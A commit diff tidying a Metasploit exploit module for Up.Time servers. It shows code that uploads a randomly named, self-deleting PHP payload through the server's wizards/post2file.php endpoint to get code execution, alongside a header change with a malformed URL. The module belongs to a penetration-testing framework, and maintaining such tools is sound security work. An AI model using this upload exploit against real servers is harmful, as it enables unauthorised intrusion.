uptime_file_upload code tidy-ups

Author: DoI

modules/exploits/linux/http/uptime_file_upload.rb

@@ -1,8 +1,6 @@
 ##
-# This file is part of the Metasploit Framework and may be subject to
-# redistribution and commercial restrictions. Please see the Metasploit
-# Framework web site for more information on licensing and terms of use.
-#   http://metasploit.com/framework/
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 
@@ -55,32 +53,33 @@ def check
       'uri'    => normalize_uri(uri, 'wizards', 'post2file.php')
     })
 
-    if not res or res.code != 200
-      return Exploit::CheckCode::Unknown
+    if res and res.code == 200
+      return Exploit::CheckCode::Appears
     end
 
-    return Exploit::CheckCode::Appears
+    return Exploit::CheckCode::Unknown
+
   end
 
   def exploit
     print_status("#{peer} - Uploading PHP to Up.Time server")
     uri =  target_uri.path
 
-    peer = "#{rhost}:#{rport}"
     @payload_name = "#{rand_text_alpha(5)}.php"
     php_payload = get_write_exec_payload(:unlink_self=>true)
 
-    data = Rex::MIME::Message.new
-    post_data = "file_name=#{@payload_name}&script=#{php_payload}"
-
+    post_data = ({
+      "file_name" => @payload_name,
+      "script" => php_payload
+    })
 
     print_status("#{peer} - Uploading payload #{@payload_name}")
     res = send_request_cgi({
       'method' => 'POST',
       'uri'    => normalize_uri(uri, 'wizards', 'post2file.php'),
-      'data'   => post_data,
+      'vars_post'   => post_data,
     })
-    if not res or res.code != 200
+    unless res and res.code == 200
       fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
     end